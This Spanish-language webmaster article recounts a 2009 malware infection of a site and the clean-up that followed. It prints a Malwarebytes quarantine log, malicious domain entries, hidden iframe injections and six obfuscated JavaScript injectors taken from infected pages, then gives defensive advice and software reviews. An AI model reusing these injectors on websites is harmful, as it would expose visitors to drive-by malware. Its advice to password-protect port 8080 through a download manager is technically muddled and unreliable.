C:\WINDOWS\i**Explorer.exe** (Trojan.Agent) -> Quarantined and deleted successfully.

C:\WINDOWS\ServicePackFiles\i386**userinit.exe** (Trojan.Agent) -> Quarantined and deleted successfully.

C:\WINDOWS\SoftwareDistribution\Download\4fcd3a74fe834ce16dc12a720df5cc7**userinit.exe** (Trojan.Agent) -> Quarantined and deleted successfully.

C:\WINDOWS\system**MSRLE.DRV** (Trojan.Downloader) -> Quarantined and deleted successfully.

C:\System Volume Information_restore{72135246-D116-4BE8-92FC-1AFE1F338C80}\RP185**A0032258.exe** (Adware.ADON) -> Quarantined and deleted successfully.

C:\System Volume Information_restore{72135246-D116-4BE8-92FC-1AFE1F338C80}\RP235**A0039084.exe** (Trojan.Agent) -> Quarantined and deleted successfully.

C:\System Volume Information_restore{72135246-D116-4BE8-92FC-1AFE1F338C80}\RP235**A0039103.exe** (Trojan.Agent) -> Quarantined and deleted successfully.

C:\System Volume Information_restore{72135246-D116-4BE8-92FC-1AFE1F338C80}\RP235**A0039082.exe** (Trojan.Agent) -> Quarantined and deleted successfully.

C:\System Volume Information_restore{72135246-D116-4BE8-92FC-1AFE1F338C80}\RP235**A0039083.exe** (Trojan.Agent) -> Quarantined and deleted successfully.

C:\System Volume Information_restore{72135246-D116-4BE8-92FC-1AFE1F338C80}\RP235**A0039085.exe** (Trojan.Agent) -> Quarantined and deleted successfully.

C:\System Volume Information_restore{72135246-D116-4BE8-92FC-1AFE1F338C80}\RP235**A0039086.exe** (Trojan.Agent) -> Quarantined and deleted successfully.

C:\System Volume Information_restore{72135246-D116-4BE8-92FC-1AFE1F338C80}\RP235**A0039087.exe** (Trojan.Agent) -> Quarantined and deleted successfully.

C:\System Volume Information_restore{72135246-D116-4BE8-92FC-1AFE1F338C80}\RP235**A0039088.exe** (Trojan.Agent) -> Quarantined and deleted successfully.

C:\System Volume Information_restore{72135246-D116-4BE8-92FC-1AFE1F338C80}\RP235**A0039089.exe** (Trojan.Agent) -> Quarantined and deleted successfully.

C:\System Volume Information_restore{72135246-D116-4BE8-92FC-1AFE1F338C80}\RP235**A0039090.exe** (Trojan.Agent) -> Quarantined and deleted successfully.

C:\System Volume Information_restore{72135246-D116-4BE8-92FC-1AFE1F338C80}\RP235**A0039091.exe** (Trojan.Agent) -> Quarantined and deleted successfully.

C:\System Volume Information_restore{72135246-D116-4BE8-92FC-1AFE1F338C80}\RP235**A0039092.exe** (Trojan.Agent) -> Quarantined and deleted successfully.

C:\System Volume Information_restore{72135246-D116-4BE8-92FC-1AFE1F338C80}\RP235**A0039093.exe** (Trojan.Agent) -> Quarantined and deleted successfully.

C:\System Volume Information_restore{72135246-D116-4BE8-92FC-1AFE1F338C80}\RP235**A0039094.exe** (Trojan.Agent) -> Quarantined and deleted successfully.

C:\System Volume Information_restore{72135246-D116-4BE8-92FC-1AFE1F338C80}

C:\System Volume Information_restore{72135246-D116-4BE8-92FC-1AFE1F338C80}
\RP236\A0039229.exe (Trojan.Agent) -> Quarantined and deleted successfully.

C:\System Volume Information_restore{72135246-D116-4BE8-92FC-1AFE1F338C80}
\RP251\A0039691.DRV (Trojan.Downloader) -> Quarantined and deleted successfully.

En general, es conveniente guardar una copia de restauración del sistema en CD, por si es necesario recuperar el computador a un estado anterior a la infección a causa de los daños ocurridos, o si bien, también puede ser de gran utilidad con el fin de restaurar aquellos archivos originales que han sido modificados y/o que utilizan el mismo nombre que los de origen, como por ejemplo ocurre con userinit.exe.

Ejemplos de **Malware domain list**.

Modo de infección de webs a través de la inyección de iframes maliciosos que contienen las direcciones electrónicas siguientes (no se deben abrir las urls) :

1. <http://www.malwaredomainlist.com/mdl.php?search=gianttopnano.cn:8080>

Fecha : 2009/06/25_00:00

Dominio : gianttopnano.cn:8080/index.php

IP : 77.37.19.179

Malware : Exploits

Registrante : Raymond Best / raymond@cybernauttech.com

ASN : 44146

2. <http://www.malwaredomainlist.com/mdl.php?search=shopvideocommission.cn:8080>

Fecha : 2009/06/25_00:00

Dominio : shopvideocommission.cn:8080/index.php

IP : 64.91.254.69

Reverse Lookup : host.transparent-tech.com

Malware : Exploits

Registrante : Scott Bell / ScottKBell@missiongossip.com

ASN : 32244

3. <http://www.malwaredomainlist.com/mdl.php?search=turbonamestore.cn:8080>

Fecha : 2009/06/28_00:00

Dominio : turbonamestore.cn:8080/index.php

IP : 90.156.144.78

Reverse Lookup : v4350.vps.masterhost.ru

Malware : Exploits

Registrante : Scott Bell / ScottKBell@missiongossip.com

ASN : 25532

Ejemplos de 7 **iframes maliciosos** (no se deben abrir las urls).

```
<iframe src="http://q5m.ru:8080/index.php" width=106 height=182 style="visibility: hidden">
</iframe>
<iframe src="http://mbdc.in:8080/index.php" width=199 height=155 style="visibility: hidden">
</iframe>
<iframe src="http://b5r.at:8080/index.php" width=125 height=190 style="visibility: hidden">
</iframe>
<iframe src="http://clydaib.net/?click=E7589" width=1 height=1
style="visibility:hidden;position:absolute"></iframe>
<iframe src="http://39w.ru:8080/index.php" width=126 height=171 style="visibility: hidden">
</iframe>
<iframe src="http://3e0.ru:8080/index.php" width=105 height=141 style="visibility: hidden">
</iframe>
<iframe src="http://mymixwager.cn:8080/index.php" width=129 height=109 style="visibility:
hidden"></iframe>
```

Ejemplos de 4 **scripts** maliciosos.

```
<!-- ad --><script>document.write('<span id="nxs" style="display:none">.3c.69.66.72.61.6d.65.20.73.72.63.3d.27.68.74.74.70.3a.2f.2f.6e.65.77.6c.69.6e.65.62.69.7a.2e.72.75.2f.77.68.69.74.65.70.61.67.65.2e.68.74.6d.6c.27.20.73.74.79.6c.65.3d.27.64.69.73.70.6c.61.79.3a.6e.6f.6e.65.3b.27.3e.3c.2f.69.66.72.61.6d.65.3e</span>');var nxs, jfM, TRw = unescape;nxs = document.getElementById("nxs");nxs = nxs.innerHTML;jfM = nxs.replace(/[\+.] /g, "%");jfM = TRw(jfM);document.write(jfM);</script><!-- /ad -->
```

```
<!-- ad --><script>document.write('<span id="xcS" style="display:none">.3c.69.66.72.61.6d.65.20.73.72.63.3d.27.68.74.74.70.3a.2f.2f.74.72.61.6d.61.64.6f.6c.73.70.61.63.65.2e.72.75.2f.73.79.6d.70.6c.65.2e.68.74.6d.6c.27.20.73.74.79.6c.65.3d.27.64.69.73.70.6c.61.79.3a.6e.6f.6e.65.3b.27.3e.3c.2f.69.66.72.61.6d.65.3e</span>');var xcS, eKT, Ype = unescape;xcS = document.getElementById("xcS");xcS = xcS.innerHTML;eKT = xcS.replace(/[\+.] /g, "%");eKT = Ype(eKT);document.write(eKT);</script><!-- /ad -->
```

```
<!-- ad --><textarea id=MKoTGWru style="display:none">%3Ciframe width%3D1 height%3D1 border%3D0 frameborder%3D0 src%3D%27http%3A%2F%2Fitenewupload.ru%2Fhplitle.html%27%3E%3C%2Fiframe%3E</textarea><script>function ucDU(qUZSx){ fff.op.replace("v"); } var NnCKX=document;document['write'].replace(/[\0-9]/,')(unescape(document.getElementById('MKoTGWru').value));function NNNhPT(JZIP){ var NyT=new Function("PhuLROsrIX", "return 33845;"); fff=op.split("66"); }</script><!-- /ad -->
```

```
<!-- ad --><textarea id=FEfVfbFxC style="display:none">%3Ciframe width%3D1 height%3D1 border%3D0 frameborder%3D0 src%3D%27http%3A%2F%2Fgrationsamu.ru%2Fastro.html%27%3E%3C%2Fiframe%3E</textarea><script>function Plr(huNld){ var gTC = document.getElementById('WikJeSjG'); } var fRew=document;document['write'].replace(/[\0-9]/,')(unescape(document.getElementById('FEfVfbFxC').value));function ECWN(TwrPf){ fff=op.split("66"); }</script><!-- /ad -->
```

Ejemplos de 2 scripts maliciosos.

Detectados en el archivo login.php mediante ParetoLogic Anti-virus PLUS con fecha 8 mayo 2010, estos scripts maliciosos permanecieron camuflados a otros programas anti-virus que no los detectaron (AVG anti-virus, ActiveScan Panda Security, Malwarebytes Anti-malware, Norton Anti-virus, Microsoft Security Essentials, Windows Live OneCare, ...).

Por su rastro se ha deducido que la inyección de este código malintencionado desde un servidor remoto de origen desconocido se produjo en el último de los 14 ataques malware que sufrimos desde el 25 junio 2009 en estrategia.info, es decir, con fecha 29 agosto 2009, permaneciendo su acción latente aunque aislada desde el 3 septiembre 2009, fecha en que se ultimó la implementación de la metodología descrita en nuestro informe sobre Internet y Seguridad : WAM - Web Anti-Malware que evitó intrusiones en el servidor de nuestros sitios legítimos.

```
<script>var a=document; var Ku7 ='%25%33%43%69%66%72%61%6d%65%25%32%30%73'; var C1Y ='%72%63%25%33%44%25%32%32%68%74%74%7'; var VEM ='0%25%33%41%25%32%46%25%'; var xd2 ='32%46%6f%67%79%61%64%65%78%63%68%69%6e%61%30'; var PRR ='%61%62%2e%63%6e%25%32%46%74%64%73%2e%70%68%70'; var d89 ='%25%32%32%25%32%30%77%69%64%74%68'; var XHi ='%25%33%44%25%32%32%30%25%32%32%25'; var Fbf ='%32%30%68%65%69%67%68%74%25%33%44%25%32%32%30%25%3'; var kre ='2%32%25%32%30%66%72%61%6d%65%62%6f%72%64%65%'; var P6K ='72%25%33%44%25%32%32%30%2'; var R72 ='5%32%32%25%33%45%25%33%43%25%32%4'; var od5 ='6%69%66%72%61%6d%65%25%33%45'; c = Ku7 + C1Y + VEM + xd2 + PRR + d89 + XHi + Fbf + kre + P6K + R72 + od5; var d=unescape(unescape(c));a.write(unescape(d));</script>
```

```
<script>var a=document; function icq(n) {return n.replace(/[\!]/g,'%');}function google(x) {return x.replace(/[\!J]/g,'%');}function gg(x) {return x.replace(/ google /g,'%');}function msn(x) {return x.replace(/ msn /g,'%');}var Ku7 =icq('12513314316916617216116d165125132130173'); var C1Y =google('J72J63J25J33%44J25J32J32J68J74J74J7'); var VEM =ms(gg('0 google 25 msn 33%41 google 25%32%46%25%')); var xd2 =ms(google('32%46%6f msn 67%79 msn 61J64%65 msn 78%63J68J69 msn 6e%61J30')); var PRR =icq('%6116212e%63%6e125%32146%74%64%73%2e170%68%70'); var d89 ='%25%32%32%25%32%30%77%69%64%74%68'; var XHi =ms('%25%33%44%25 msn 32%32%30%25'); var Fbf =ms(gg('%32%30%68 google 65%69%67 msn 68%74 msn 25%33%44 msn 25%32%32 google 30%25%3')); var kre =google('2%32J25%32J30%66%72%61%6d%65%62J6f%72%64J65%'); var P6K ='72%25%33%44%25%32%32%30%2'; var R72 ='5%32%32%25%33%45%25%33%43%25%32%4'; var od5 =google('6J69J66J72J61J6dJ65J25J33J45'); c = Ku7 + C1Y + VEM + xd2 + PRR + d89 + XHi + Fbf + kre + P6K + R72 + od5; var d=unescape(unescape(c));a.write(unescape(d));</script>
```

Notas y Textos.

(1) Programa para eliminar malware en su PC.

Los análisis, actualizaciones y recomendaciones indicadas hacen necesario y diría que indispensable que descarguen en su ordenador el programa Malwarebytes Anti-Malware y ejecuten tras su instalación la procedente actualización para tener la firma de intrusiones al día. De este modo, y actualizado procedan a analizar todas las unidades de su PC, y en 2-3 horas evaluados los cientos de miles de archivos, tanto visibles como ocultos, ... se emite un informe con aquellos archivos y aplicaciones que se encuentran infectados y que hayan podido pasar inadvertidos a otros programas anti-virus ... deberán llegados a este punto quitarlos, pasando a situación de cuarentena y siendo posteriormente automáticamente eliminados ...

La dirección electrónica del programa anti-malware, en la url : malwarebytes.org (download free version) ...

Se les recomienda encarecidamente, que instalen el programa para limpiar de posibles contagios su ordenador, ... y como medida suplementaria para asegurar su PC sumen este análisis periódicamente a los que estan acostumbrados a realizar habitualmente con sus programas anti-virus, nuestra recomendación para su seguridad en la red es el examen de Norton Security Check, la descarga de Norton Add-on-Pack y activar en la exploración web el bloqueo de los anuncios.

(2) Complemento de protección con contraseña del puerto 8080.

Se trata ahora de tomar otra medida suplementaria que se trata de proteger con contraseña el puerto 8080 de su ordenador, ... por la experiencia, hemos observado que los códigos maliciosos en formato de iframes contienen una dirección electrónica seguida de : 8080 ... lo cual indica que este es el puerto de conexión, Por tanto, esta es la siguiente medida para securizar su PC.

Normalmente, el puerto 80 es el que se conecta con la red de Internet con la configuración `http:// ...` y se utiliza el puerto 8080 como ruta alternativa al puerto 80, ... es por esta razón que creamos necesario por el hecho de que el puerto que utiliza este código malicioso es el puerto 8080, ... que deberían protegerlo con contraseña ...

Les informamos el procedimiento a utilizar para proteger con clave de acceso el puerto 8080 del PC ...

En primer lugar, descargar el programa free download manager que pueden descargar desde el sitio espejo de Source Forge o directamente desde la página de sus creadores freedownloadmanager.org

Una vez hecho esto, y siguiendo las instrucciones de instalación, ... se descarga en su PC varios elementos entre los cuales se encuentra el que nos importa para proteger con contraseña el puerto 8080 ... entre sus accesorios instalados se encuentra FDM remote control server que deben ejecutar, se les abrirá una ventana de diálogo en la que aparece por defecto su dirección IP en la casilla `current address is ...` con lo cual no es necesario introducir el número ... pero en cambio en la casilla `use port` deben introducir 8080. Asimismo, marcar la casilla `protect access to server` e introducir en la casilla `user` y `password` la contraseña que deseen ... el primer y último paso es marcar la casilla `load on startup` y seguidamente OK ... se habrá configurado de este modo el acceso con clave en el puerto 8080 ...

El programa free download manager es un sistema avanzado de petición de descargas seguras de modo que se puedan programar por defecto en el puerto 80 o también 8080 y acto seguido protegerse con clave de acceso, es decir, la página electrónica en su PC desde donde pueden realizar descargas de archivos de diferentes sitios en la red se hallará configurada en el puerto 8080 y este a la vez protegido con contraseña para evitar intrusiones ...

(3) Navegador actualizado en la última versión.

Cabe decir que sería conveniente que actualizaran su navegador de la versión Internet Explorer 6 y 7 a la actual IE8, ... pues es más seguro, y normalmente el malware se instala con un archivo denominado iExplorer.exe en su computadora ... si encuentran un archivo de estas características en su PC, procedan a analizarlo con Malwarebytes anti-malware para su posterior eliminación si resulta ser el archivo oculto o camuflado que se ha instalado como código malicioso en su ordenador, ... que existe esta probabilidad, no lo borren al detectarlo si no están seguros de estar contaminado para no afectar el funcionamiento de su navegador en caso de ser un archivo del sistema, ... esta observación se la hago porque es uno de los procedimientos utilizados por este tipo de malware para permanecer inadvertido para algunos programas anti-virus que no lo detectan .., en cambio malwarebytes anti-malware si que lo encuentra en caso de estar infectado ...

La incidencia gracias a Malwarebytes Anti-Malware que también pueden descargar en el sitio espejo de CNET (...) ha sido posible solventarla, iExplorer.exe que es el software espía que les hemos informado para evitar que se instale en sus PCs se trata de un troyano que intenta robar los datos de los clientes de la banca on line.que actúa como puerta trasera (en este caso por el puerto 8080), permitiendo a un atacante remoto acceder y controlar el equipo infectado.

Posee un componente que le permite ocultar su presencia en el sistema. ... por esta razón algunos programas anti-virus no lo detectan y en cambio Malwarebytes Anti-Malware si lo encuentra y destruye ... está programado para robar información relacionada con cuentas bancarias... Es también necesario actualizar su navegador descargando IE8 en la dirección electrónica de microsoft.com (...)

En definitiva, cierran la puerta trasera de acceso del puerto 8080 mediante contraseña usando FDM Remote Control Server del programa Free Download Manager (...) con el fin de evitar que cualquier troyano de bancos en esta forma u otra se instale en su PC por este u otros medios a través de la red, porque esta incidencia no es un caso aislado, ... se pueden encontrar con este problema a través de la navegación a numerosas páginas web en Internet ...

Las medidas de protección para los usuarios son efectivas tras instalar Malwarebytes Anti-Malware en el PC, analizar y destruir (malware trace y trojan agent), aplicar FDM Remote Control Server de Free Download Manager para proteger el puerto 8080 con contraseña, y actualizar al navegador Internet Explorer 8.

(4) Sobre la directiva de privacidad de páginas web.

Si quieren Uds. hacer sus comprobaciones, con la directiva de privacidad en el navegador Internet Explorer 8, encontrarán un modo efectivo de saber si durante su visita a cualquiera de sus webs han sufrido un ataque por malware, siguiendo las siguientes instrucciones ...

En la pestaña Seguridad de la barra de herramientas de su navegador, encontrarán en el menú, el acceso a la directiva de privacidad de páginas web, la marcan y se desplegará una ventana de diálogo en la que constan todas las direcciones electrónicas que han operado en su PC durante su visita a cualquiera de sus sitios en Internet.

De este modo, si entre la lista de urls aparecen las que tienen autorizadas como webmasters, todo es correcto, pero si existe alguna que no tiene que ver con las descritas es que se ha producido una intrusión a través del host de su servidor de alojamiento y se ha inyectado código malicioso en el dominio ...

Deben comprobar la lista de urls dentro de la directiva de privacidad (con aceptación o bloqueo automático de cookies) que son las autorizadas y normales de encontrar ... con el fin de descartar posibles inserciones de código malicioso en su sitio y sin su conocimiento.

(5) Lenguaje de programación para .htaccess.

- Evita el acceso a sitios spammers, hackers y demás.
- Elude el acceso remoto a algunos proxys y otros sitios inseguros.
- Bloquea IPs de servidores y personas que se dedican a hacer spam o también varios proxys anónimos que a menudo sufren estos abusos.
- Interrumpe la acción de navegadores maliciosos que nos intentan robar direcciones de e-mail, diseño del sitio web, descargar ficheros hasta que el servidor colapse, etc ...

(6) Resultado de las medidas adoptadas.

La implantación de un rastreador anti-malware en su PC, es decir, del programa Malwarebytes Anti-Malware para análisis y reparación de código malicioso, ... junto a la intervención de Windows Live OneCare ...

La protección con contraseña del puerto 8080, con la aplicación de FDM Remote Control Server de Free Download Manager ... y la actualización a IE8 con la utilización simultánea de la directiva de privacidad de páginas web para presentes y futuras comprobaciones ...

El uso del programa XAMPP de simulación con Apache, Mysql, ftp, php, etc ... para ayudar a recuperar la página electrónica original y hacer efectiva su actualización (por ejemplo a XOOPS 2.0.) con el fin de mejorar su seguridad, ...

El cambio en la clave de acceso FTP y la modificación de los archivos .htaccess en los que se han introducido código específico y genérico contra la infección en nuestro servidor ...

Y la instrumentalización de las herramientas del webmaster de Google así como del programa de prevención de intrusiones Dasient WAM, ...

Hacen de todas estas medidas adoptadas a día de hoy una metodología efectiva para garantizar la seguridad en la web, como si nuestro sitio en la red se tratara de un banco nacional, ...

La regla de oro de la seguridad en Internet es mantener actualizados tanto los anti-virus como las aplicaciones informáticas de nuestro PC.

Un ejemplo de programa que también nos servirá para complementar la protección de nuestros ordenadores es Microsoft Security Essentials.

Referencias bibliográficas.

1. Malwarebytes Anti-Malware.

Autor : malwarebytes.org.

Detecta y elimina el malware de tu PC.

Por : Luís Ponce de León.

Malwarebytes Anti-Malware escanea los discos y dispositivos de tu ordenador en busca de todo tipo de malware, y lo elimina.

Malwarebytes Anti-Malware ofrece dos tipos de análisis. El rápido y el completo, para un análisis en profundidad.

Esta aplicación actualiza automáticamente la lista de malware y puede programarse para analizar el PC a una hora determinada. Cuenta además con una lista para los ficheros en cuarentena y otra para los que se deben ignorar.

Malwarebytes Anti-Malware incluye (...) una herramienta que garantiza la eliminación de cualquier archivo infectado.

Este programa (...) a posteriori de la infección proporciona la posibilidad de activar la versión protección en tiempo real, que es de pago.

2. Windows Live OneCare.

Autor : onecare.live.com.

Antivirus, antispyware, cortafuegos y copias de seguridad.

Por : Julián Gómez.

Windows Live OneCare es la solución de seguridad de Microsoft que integra antivirus, antispyware, cortafuegos y otras herramientas de seguridad.

(...) La protección antivirus y antispyware, ofrece tanto protección en tiempo real como análisis bajo demanda. En este último caso, en los análisis, cuenta con tres diferentes: rápido, personalizado y completo.

El cortafuegos detecta aplicaciones que conoce (...). De esta forma (...) el cortafuegos de Windows Live OneCare detecta Firefox y le abre paso sin que necesite (...) autorización (...)

También resulta destacable su sistema de copias de seguridad. Muy claro, fácil de configurar y con posibilidad de copia incremental, es decir, copiar sólo los archivos que se hayan modificado.

En cuanto a mantenimiento, Windows Live OneCare también se cuida de eliminar archivos temporales y realizar desfragmentaciones de disco (...).

3. Free Download Manager - FDM Remote Control Server.

Autor : freedownloadmanager.org.

Descarga ficheros con mayor velocidad y comodidad.

Por : Julián Gómez.

Este gestor de descargas te permite administrar los ficheros que bajas de Internet al tiempo que multiplicas tu velocidad de descarga, exprimiendo al máximo el ancho de banda de tu conexión aunque descargues desde servidores no especialmente rápidos.

Free Download Manager soporta conexiones con protocolos HTTP, HTTPs, FTP (con o sin autenticación), Metalink y Bittorrent, se integra con Internet Explorer y con tu programa antivirus (para analizar automáticamente el fichero ...), te permite delimitar la prioridad de cada descarga y, por supuesto, reanudar descargas que hayan sido interrumpidas (...).

Podrás además automatizar el proceso, programando la conexión a Internet a una hora concreta, la descarga de determinados ficheros, la ejecución de un programa cualquiera y la desconexión o apagado del PC una vez hayas acabado.

Un gestor de descargas excelente.

4. Internet Explorer 8.

Autor : microsoft.com.

La última versión de un clásico de los navegadores.

Por : Iván Ramírez.

Cuando muchos aún no han tenido el valor suficiente para adoptar Internet Explorer 7, llega la última versión del navegador de Internet más utilizado a nivel mundial.

En cuanto a opciones añadidas, en Internet Explorer 8 destacan varias funcionalidades. Por ejemplo los WebSlices (...).

Otra novedad de Internet Explorer 8 son los Aceleradores. Son la forma en la que Microsoft se aproxima a los servicios web (...) últimamente, y permiten añadir al menú contextual enlaces relevantes para añadir páginas a tu blog, subir fotos a algún servicio de hospedaje o, en definitiva, añadir cualquier modo de interacción entre páginas.

Internet Explorer 8 dispone de InPrivate, una función con la cual podrás navegar sin dejar huellas. El botón de Sitios sugeridos puede recomendarte páginas similares a la que estás visitando, y SmartScreen te defenderá de páginas maliciosas (...) el Administrador de extensiones, una novedad de Internet Explorer 8 (...) facilita mucho la gestión de los nuevos complementos.

Más sólido que nunca y con accesorios muy útiles, Internet Explorer 8 es la respuesta de Microsoft (...)

5. Xampp : Apache, FTP, MySQL ...

Autor : apachefriends.org.

Monta tu página web en local con este pack de fácil instalación.

Por : Damien Rassin.

Una de las formas más fáciles y rápidas de tener Apache, MySQL, PHP y phpMyAdmin en su máquina es, sin lugar a dudas, pasando por un paquete de instalación cómodo y automático como XAMPP. Ofrece un pack de instalación automática con lo que podrás alojar y servir tus páginas web desde tu máquina en local.

Además, XAMPP ofrece una colección de librerías y otras aplicaciones de gran utilidad para el manejo y administración de una página web, junto a todas las dependencias que resultan imprescindibles para ello (...) así como un completo panel de control especialmente diseñado por XAMPP.

Un servidor web, una base de datos MySQL, PHP, un servidor de correo electrónico, Perl y un servidor FTP son los elementos claves de esta distribución. Además incluye Apache 2 y las últimas versiones de MySQL y PHP; Apache y MySQL se instalarán como servicios. Y todo esto gracias a un asistente que automatizará todo el proceso para que sea lo más leve y rápido posible.

6. Xoops 2.0. : CMS.

Autor : xoops.org.

Potente, flexible y completo sistema de gestión de contenidos.

Por : Elena Santos.

Xoops es lo que se denomina un sistema de administración de contenidos web, mediante el cual el administrador de un sitio web puede fácilmente crear páginas web dinámicas, con gran control de gestión de contenidos, y (...) otras interesantes funcionalidades.

Resulta perfecta para crear comunidades web de múltiples usuarios, páginas web corporativas, weblogs personales y mucho más.

El sistema incorpora diferentes módulos, destinados a distintos tipos de contenidos, y que puedes utilizar o no en función del diseño y características de tu web: noticias, foro, descargas, enlaces web, etc ...

Xoops utiliza una base de datos relacional (MySQL), permite a sus usuarios registrados un altísimo nivel de personalización de perfil, soporta múltiples idiomas, permite el uso de temas de diseño (...) y es totalmente gratuito, gracias al trabajo de toda una comunidad que lo desarrolla y mejora día a día bajo la licencia GNU.

7. Google Search.

Autor : google.com.

Google Webmaster Help ...

Por : Juan Manuel González.

El servicio de ayuda del Centro para Webmasters de Google está disponible en 12 idiomas incluyendo francés, italiano, alemán, español, portugués y ruso (...) para Webmasters está pensado como un lugar de encuentro para que los usuarios se ayuden entre ellos, hagan preguntas y compartan información sobre cómo Google rastrea e indexa los sitios web. En ocasiones participará (...) el equipo de Google.

8. Dasient WAM - Web Anti-Malware.

Autor : dasient.com.

Ex trabajadores de Google crean un servicio que reduce el malware de las webs.

Por : Arancha Asenjo y Marta Cabanillas.

La start-up Dasient se estrena con un servicio basado en cloud diseñado para detectar código malicioso en páginas de Internet y evitar su entrada en las listas negras.

Dos antiguos empleados de Google - Neil Daswani, anterior director de productos de seguridad, y el ingeniero de software Sharif Rizvi- y Ameet Ranadive, cuyo perfil incluye diversos puestos en el área de consultora de McKinsey & Co. y HP, han formado una nueva empresa volcada en la seguridad de los sitios web.

La compañía, de nombre Dasient, mantiene un estrecho contacto con Google y ha recibido dos millones de dólares de financiación de entidades como Maples Investment, Radar Partners, Stratton Sclavos y Eric Benhamou. Su estreno en el mercado lo hace con un servicio web antimalware que utiliza los web crawlers y la heurística para detectar automáticamente código malicioso cargado por los ciberdelincuentes en páginas web legítimas con el objetivo de descargar malware o llevar a los visitantes a páginas fraudulentas. Como consecuencia, los sitios infectados con malware a menudo terminan en las listas negras de páginas supuestamente peligrosas recopiladas por Google, así como por las empresas de seguridad.

Daswani asegura que es “un desafiante problema de ingeniería” el realizar diagnósticos de sites infectados por malware y poner en cuarentena el código sin interrumpir el uso de la página. El servicio Dasient Web Anti-Malware, cuyo coste parte de los 50 dólares al mes, aún está en fase “alfa” en algunos aspectos, especialmente la capacidad para poner en cuarentena el malware, tal y como han reconocido los cofundadores de Dasient. Esta funcionalidad requiere un módulo de software Dasient instalado en un servidor web para su protección.

En definitiva, el objetivo es asistir a los webmasters a la hora de encontrar dónde están los problemas de malware antes de que las páginas sean puestas en las listas negras, así como ayudarles a salir de dichas listas, lo que provoca una disrupción del negocio y la marcha de los clientes. El servicio Dasient también puede ser utilizado por proveedores de alojamiento web para ayudar a sus clientes con este problema.

Agradecimientos.

La elaboración del presente artículo es el resultado del trabajo realizado en estrategia.info del 25 de junio al 3 de septiembre de 2009, y ha sido posible gracias a la colaboración de Antonio Amenós Vidal - e-mail : soporte@estrategia.info, webmaster de Networkers Community ...

Palabras Clave.

Anti-Malware, Webmaster, Networkers Community.

GLOSARIO

Anti-virus para dispositivos USB

Fuente : **Antimalware Panda USB Vaccine**.

Solución gratuita antimalware que se propaga a través de unidades USB. Cada vez son más los ejemplares de malware, entre ellos el peligroso Conficker, que se propaga mediante la infección de dispositivos y unidades extraíbles como llaves de memoria, reproductores MP3, cámaras de fotos, etc ... Para ello, estos códigos maliciosos realizan una modificación del fichero Autorun, presente en esas unidades.

Panda USB Vaccine es una **solución gratuita antimalware** diseñada para proteger contra este creciente peligro. Para ello, permite llevar a cabo una **dobles protección preventiva, o vacuna, tanto del mismo PC para deshabilitar la funcionalidad AutoRun, como de unidades y llaves USB individuales**.

Vacuna de equipos : permite "vacunar" sus equipos para impedir que ningún archivo Autorun se ejecute independientemente de si el dispositivo en el que se encuentra (llave de memoria, CD, etc.) está infectado o no.

Vacuna de dispositivos USB : permite "vacunar" dispositivos extraíbles USB de manera individual, de tal modo que ningún archivo Autorun incluido en los mismos pueda ser una fuente de infección, ya que la herramienta los deshabilita, evitando así que puedan ser leídos, creados, modificados o suprimidos por un código malicioso.

Se trata de una herramienta muy útil, ya que no existe una manera sencilla de deshabilitar la opción de Autorun en Windows. Con esta herramienta, los usuarios podrán hacerlo de manera sencilla, logrando así un alto grado de seguridad respecto a las infecciones procedentes de dispositivos extraíbles.

Puede descargar gratuitamente antimalware **Panda USB Vaccine**.

Microsoft Security Essentials

Fuente : **Microsoft Security Essentials.**

Microsoft Security Essentials proporciona protección en tiempo real contra virus, spyware y otros tipos de software malintencionado para su PC doméstico.

Se descarga de manera gratuita, es simple de instalar y usar, se mantiene siempre actualizado para que tenga la seguridad de tener su PC siempre protegido con la tecnología más reciente. Es fácil saber si su PC es seguro: cuando el color indicado es verde, está protegido. Es así de simple.

Se ejecuta de forma silenciosa y eficiente en segundo plano con lo que puede utilizar con total libertad su equipo como desee, sin interrupciones ni largos tiempos de espera.

Obtenga ahora una sencilla protección de alta calidad para proteger su equipo doméstico contra virus.

Nota : Para instalar debe tener una copia de Windows original instalada en su PC.

Windows Defender

Fuente : **Windows Defender**.

Windows Defender funciona con Internet Explorer 7 y 8 para ayudarte a tomar las decisiones adecuadas sobre el software instalado en el equipo, proporcionando una protección siempre activa que supervisa las ubicaciones clave del sistema y está alerta ante cualquier cambio que muestre la presencia de spyware.

Las tecnologías de análisis y eliminación usan definiciones de spyware creadas por Microsoft con la ayuda de los informes sobre posibles nuevos programas espía enviados por usuarios de Windows Defender.

El Centro de seguridad es el lugar dónde debe comprobarse la configuración de seguridad. Desde la instalación al mantenimiento, pasando por las actualizaciones, Windows Defender se entrega con configuración preestablecida e instrucciones que ayudan a proteger tu PC y mantenerlo seguro.

La interfaz de usuario ofrece control sobre el software. Un explorador te ayudará a comprender los servicios que se están ejecutando en el equipo y detendrá o deshabilitará el software malintencionado. Windows Defender administra automáticamente muchas tareas comunes e interrumpe o alerta al usuario sólo en el caso de problemas graves que requieren de una acción inmediata.

La integración con Internet Explorer permite analizar los archivos descargados antes de que se guarden y ejecuten; de este modo, se reduce la posibilidad de que se instale spyware accidentalmente. La función "Scan on execute" ("Explorar al ejecutar") proporciona una capa de protección adicional. La integración con el Centro de seguridad de Windows ayuda a realizar un seguimiento de la protección contra spyware junto con otras características de protección y seguridad.

Windows Defender se encuentra disponible para Windows XP y Vista.

Nota : Sus actualizaciones de definiciones asociadas también se encuentran disponibles de forma continuada en forma de descargas independientes y gratuitas para otros clientes de Windows que puedan validar su software a través del programa de ventajas de Windows original .

Offline Explorer

Aunque es poco habitual pero igualmente efectivo, hoy hablamos de realizar copias de seguridad de tus webs mediante la utilización del programa Offline Explorer.

Estamos acostumbrados a realizar el backup de datos de nuestras páginas electrónicas o utilizar por ejemplo programas como es Xampp : Apache, FTP, MySQL ... (*) para la implementación de un host local, ... lo cual convierte estas herramientas del webmaster en maniobras básicas para el mantenimiento y gestión de nuestros sitios en la red.

No obstante, con Offline Explorer podemos conseguir capturar un espacio completo en Internet, con el fin de conservar en un CD o soporte informático portable, todas las características de una página electrónica, y por la que incluso, se puede navegar sin conectarnos a Internet, de modo que también nos permita, trabajar sin conexión, o mantener en su integridad todos sus archivos ejecutables.

Este modo de realización de una copia de seguridad, nos puede ser de utilidad por ejemplo en caso de trasladar de servidor DNS o de registrador nuestra dirección electrónica, cargando en el host del nuevo proveedor de Internet de nuestra dirección electrónica, el espacio web que copiamos con Offline Explorer del antiguo servidor remoto (...) pueden comprobar la calidad de ejecución de este programa, que nos permite importar y/o exportar todas las prestaciones de un espacio web.

(*) Para más información puede consultar el apartado sobre Xampp : Apache, FTP, MySQL ...

Secunia PSI

